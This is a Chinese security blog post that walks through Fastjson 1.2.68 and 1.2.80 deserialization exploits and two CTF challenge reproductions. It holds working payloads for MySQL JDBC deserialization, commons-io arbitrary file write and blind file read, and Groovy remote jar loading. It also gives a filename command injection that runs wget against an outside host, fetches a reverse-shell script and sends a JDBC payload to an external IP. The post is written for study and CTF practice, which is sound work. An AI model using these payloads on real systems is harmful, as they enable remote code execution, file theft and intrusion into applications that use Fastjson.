Fastjson高版本的奇技淫巧

本文最后更新于:2023年1月28日 下午

众所周知fastjson一般都是打JNDI的,这也是最常用的一种方法,但是高版本的话autoType默认为false,不支持,这里就需要通过一些其他的方法来rce了

在去年的黑帽大会上分享了fastjson1.2.68的几种利用链,今年看到浅蓝师傅关于fastjson1.2.80分享的议题,决定两个一起学习一下

BlackHat2021(fastjson 1.2.68)

fastjson 1.2.68可以利用java.lang.AutoCloseable绕过checkAutotype

利用前提:

  • 必须继承 AutoCloseable
  • 必须具有默认构造函数或带符号的构造函数,否则无法正确实例化
  • 不在黑名单中
  • 可以引起 rce 、任意文件读写或其他高风险影响
  • gadget的依赖应该在原生jdk或者广泛使用的第三方库中

Mysql JDBC

先配置一下mysql

<dependency>
	<groupId>mysql</groupId>
	<artifactId>mysql-connector-java</artifactId>
	<version>5.1.30</version>
</dependency>

可以看到JDBC4Connection是满足条件的

可以打jdbc的反序列化,简单的复现一下,打一下cc5
使用工具 https://github.com/fnmsd/MySQL_Fake_Server

//Mysql connector 5.1.11-5.1.48
{"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}

//Mysql connector 6.0.2 or 6.0.3
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}

//Mysql connector 8.0.19
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}


参考:Fastjson MySQL gadget复现

commons-io写文件

首先是一条 openjdk >= 11 的读写链

这里分享一条我找到的不需要三方库的链, 注意虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用. 所以相对比较鸡肋, 仅供学习. orz

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

这里如何构造文件内容呢,可以使用python进行构造

from itsdangerous import base64_encode
import zlib
cc='Test123'.encode()
ccc=zlib.compress(cc)
print(len(ccc))
print(base64_encode(ccc))

然后修改array和limit即可写入文件,append为false是覆盖内容,为true是追加内容

可以看到成功写入文件,但是由于版本限制的问题过于鸡肋

最后voidfyoo师傅找到了Commons IO 2.x的写文件链
注意这里写入内容的长度必须要>8192,不然会失败,并且实际写入的内容只有前8192个字符,后面的不会写入
commons-io 2.0 - 2.6 版本:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
      },
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/pwned",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

可以发现在JDK8版本下成功写入文件,如果能写jsp,那么就可以直接getshell了,但是如果不存在写jsp的条件呢,比如说springboot,那么就需要写jar文件了:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

总结一下就是 jvm 为了避免一下加载太多暂时用不到或者以后都用不到的类,不会在一开始运行时把所有的 JDK HOME 目录下自带的 jar 文件全部加载到类中,存在 懒加载 行为,并且发现程序代码中如果没有使用Charset.forName("GBK")类似的代码,默认就不会加载到/jre/lib/charsets.jar文件,那么我们控制类初始化,就可以加载恶意的charsets.jar实现rce了

存在一条写二进制的链

需要满足:fastjson<=1.2.68 and commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6
最后Skay师傅的exp为:

import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import com.alibaba.fastjson.JSON;

public class payload_AspectJ_writefile {
    public static void main(String[] args){
        byte[] bom_buffer_bytes = readFileInBytesToString("C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/1.txt");
        //写文本时要填充数据
        String so_content = new String(bom_buffer_bytes);
        for (int i=0;i<8192;i++){
            so_content = so_content+"a";
        }
        String base64_so_content = Base64.getEncoder().encodeToString(so_content.getBytes());
//        String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);
        byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);
//        byte[] big_bom_buffer_bytes = base64_so_content.getBytes();
        String payload = String.format("{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +
                "  \"delegate\":{\n" +
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
                "    \"input\":{\n" +
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +
                "      \"in\":{\n" +
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +
                "        \"charset\":\"utf-8\",\n" +
                "        \"bufferSize\": 1024,\n" +
                "        \"s\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +
                "      },\n" +
                "      \"doEncode\":false,\n" +
                "      \"lineLength\":1024,\n" +
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +
                "      \"decodingPolicy\":0\n" +
                "    },\n" +
                "    \"branch\":{\n" +
                "      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "      \"targetPath\":\"%2$s\"\n" +
                "    },\n" +
                "    \"closeBranch\":true\n" +
                "  },\n" +
                "  \"include\":true,\n" +
                "  \"boms\":[{\n" +
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +
                "                  \"charsetName\": \"UTF-8\",\n" +
                "                  \"bytes\":" +"%3$s\n" +
                "                }],\n" +
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +
                "}",base64_so_content, "C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/3.txt", Arrays.toString(big_bom_buffer_bytes));
        System.out.println(payload);
        JSON.parse(payload);
    }

    public static byte[] readFileInBytesToString(String filePath) {
        final int readArraySizePerRead = 4096;
        File file = new File(filePath);
        ArrayList<Byte> bytes = new ArrayList<>();
        try {
            if (file.exists()) {
                DataInputStream isr = new DataInputStream(new FileInputStream(file));
                byte[] tempchars = new byte[readArraySizePerRead];
                int charsReadCount = 0;

                while ((charsReadCount = isr.read(tempchars)) != -1) {
                    for(int i = 0 ; i < charsReadCount ; i++){
                        bytes.add (tempchars[i]);
                    }
                }
                isr.close();
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return toPrimitives(bytes.toArray(new Byte[0]));
    }

    static byte[] toPrimitives(Byte[] oBytes) {
        byte[] bytes = new byte[oBytes.length];

        for (int i = 0; i < oBytes.length; i++) {
            bytes[i] = oBytes[i];
        }
        return bytes;
    }
}

测试发现写入的文件存在问题,只能写入8kb的数据,导致文件不是一个完整的jar包

仅提供一个思路

commons-io读文件

前提是存在数据的回显,比如return 反序列化后的数据

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///C:/Users/bmth/Desktop/作业/CTF学习/java学习/fastjson/src/main/java/exp/Blackhat2021/1.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [66]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

可以看到为true的时候返回

为false的时候返回

说明我们可以盲注出文件的内容,并且调用的是URL对象,可以使用file或者netdoc遍历目录

参考:
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记
fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路

可参考文章:
Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用
关于blackhat2021披露的fastjson1.2.68链

KCon2022(fastjson 1.2.80)

1.2.68的修复方式非常的简单粗暴,将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类

利用流程:

  1. 指定显式期望类,实例化XXXException并被加入类缓存
  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

Groovy

利用条件

  • fastjson版本: 1.2.76 <= fastjson < 1.2.83
  • 存在groovy依赖

最简单也最可能达成的一条链

第一步将org.codehaus.groovy.control.ProcessingUnit 加入白名单:

{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}

第二步远程类加载:

{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://127.0.0.1:8000/attack-1.jar"
    }
}

生成exp:https://github.com/Lonely-night/fastjsonVul/

修改为windows的弹计算器,然后install即可,最后的exp:

import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class groovy {
    public static void main(String[] args) throws IOException {
        String poc1 = "{\n" +
            "    \"@type\":\"java.lang.Exception\",\n" +
            "    \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
            "    \"unit\":{}\n" +
            "}";

        String poc2 = "{\n" +
            "    \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
            "    \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
            "    \"config\":{\n" +
            "        \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
            "        \"classpathList\":\"http://127.0.0.1:8000/attack-1.jar\"\n" +
            "    }\n" +
            "}";

        System.out.println(poc1);
        System.out.println(poc2);
        try {
            JSON.parse(poc1);
        } catch (Exception e) {}
        JSON.parse(poc2);
    }
}

依次传入即可

aspectj

fastjson1.2.73-1.2.80,依赖aspectjtools

分三次打

{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }
{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"c:/windows/win.ini"
    }
}

这种可以打印结果的链,都可以利用java.lang.Character进行报错回显,或者利用java.net.Inet4Address进行dnslog回显,但由于要拼接进各种特殊符号,所以这个dnslog回显也仅存在理论当中(mac平台)

参考:
Fastjson1.2.80漏洞复现
fastjson 1.2.80 漏洞分析
Fastjson CVE-2022-25845 漏洞复现
https://github.com/su18/hack-fastjson-1.2.80

题目复现

[深育杯2021]还是你熟悉的fastjson吗

反编译看到存在fastjson1.2.67和commons-io 2.6,这两个重点关注一下

随后看到源码,存在一个fastjson反序列化,并且会return结果,然后如果在/tmp目录下存在.8.bak结尾的文件时会有一个命令执行

方法一

如果文件名可控,就可以任意命令执行了,即:

test.8.bak
bash -c cp$IFS/tmp/test.8.bak$IFS/tmp/test.8

a;wget${IFS}192.168.111.1:8000;#test.8.bak
bash -c cp$IFS/tmp/a;wget${IFS}192.168.111.1:8000;#test.8.bak$IFS/tmp/a;wget${IFS}192.168.111.1:8000;#test.8

那么就需要往/tmp目录下写文件,使用Commons IO 2.x写文件的链子
参考:Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
最终的exp为:

{
  "x":{
    "@type":"com.alibaba.fastjson.JSONObject",
    "input":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.ReaderInputStream",
      "reader":{
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence":{"@type":"java.lang.String""aaaa"},
      "charsetName":"UTF-8",
      "bufferSize":1024
    },
    "branch":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.output.WriterOutputStream",
      "writer":{
        "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
        "file":"/tmp/a;wget${IFS}192.168.111.1:8000;#test.8.bak",
        "encoding":"UTF-8",
        "append": false
      },
      "charsetName":"UTF-8",
      "bufferSize": 1024,
      "writeImmediately": true
    },
    "trigger":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger2":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    },
    "trigger3":{
      "@type":"java.lang.AutoCloseable",
      "@type":"org.apache.commons.io.input.XmlStreamReader",
      "is":{
        "@type":"org.apache.commons.io.input.TeeInputStream",
        "input":{
          "$ref":"$.input"
        },
        "branch":{
          "$ref":"$.branch"
        },
        "closeBranch": true
      },
      "httpContentType":"text/xml",
      "lenient":false,
      "defaultEncoding":"UTF-8"
    }
  }
}

然后访问copy即可下载index.html,内容为反弹shell的代码


最后通过sh执行index.html即可反弹shell,写入的文件名为:/tmp/a;sh${IFS}index.html;#test.8.bak

方法二

看到官方wp,发现还可以目录遍历和文件读取

根据这getBom 方法的代码来看,它就是先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null

并且由于传入的是一个 URL 对象。这就意味着file jar http 等协议都可以使用
poc:

{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///D:/test/1.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [49]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

最后的官方脚本如下:

import requests
import os
import sys
import re
import string
 
host = "http://192.168.111.178:8080"
 
def step1():
    global host
    result = []
    def getArrayData(ch):
        out = []
        for c in result:
            out.append(str(ord(c)))
        out.append(str(ord(ch)))
        return ','.join(out)
    def poc(ch):
        url = '/hello'
        jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}'
        data = {
            'data': jsonstr % getArrayData(ch)
        }
        proxy = {'http':'127.0.0.1:8080'}
        proxy = {}
        rsp = requests.post(host+url, data=data, proxies=proxy)
        if "bytes" in rsp.text:
            return True
        else:
            return False
    while True:
        for ch in string.printable+'\r\n':
            if poc(ch):
                result.append(ch)
                print('step1>', ''.join(result))
                break
 
step1()

如果遍历出来flag那么可以直接file读取flag了
这里继续复现,本地测试发现如果commons-io版本为2.6,那么就会报错:

create instance error, null, public org.apache.commons.io.input.CharSequenceInputStream(java.lang.CharSequence,java.lang.String,int)

无法成功的写入二进制文件

参考文章:
[原创]2021深育杯线上初赛官方WriteUp
ctf中的java题目

[蓝帽杯2022决赛]赌怪

发现是华夏erp的项目,可以直接注册一个用户,然后存在反序列化漏洞
并且项目中存在mysql-connector-java 5.1.30和cc3.2.1链

看到这那么思路就很简单了,直接打fastjson的mysql反序列化

这里我当时使用的是postman进行url编码,然后一直没打通,最后xux(神)用bp打通了,错失好多轮的分数,非常的可惜啊

开启mysql恶意服务

payload:

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "42.192.42.48", "portToConnectTo": 3306, "info": { "user": "CommonsCollections6", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

在search处传入,注意url编码

成功传输数据,cc6的内容为反弹shell

成功接收到shell,获得flag

修复的话也很简单,直接替换为高版本的fastjson就可以了

参考:
SpringBoot框架华夏ERP源码审计
华夏ERP漏洞之授权绕过漏洞+后台命令执行漏洞=未授权命令执行


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!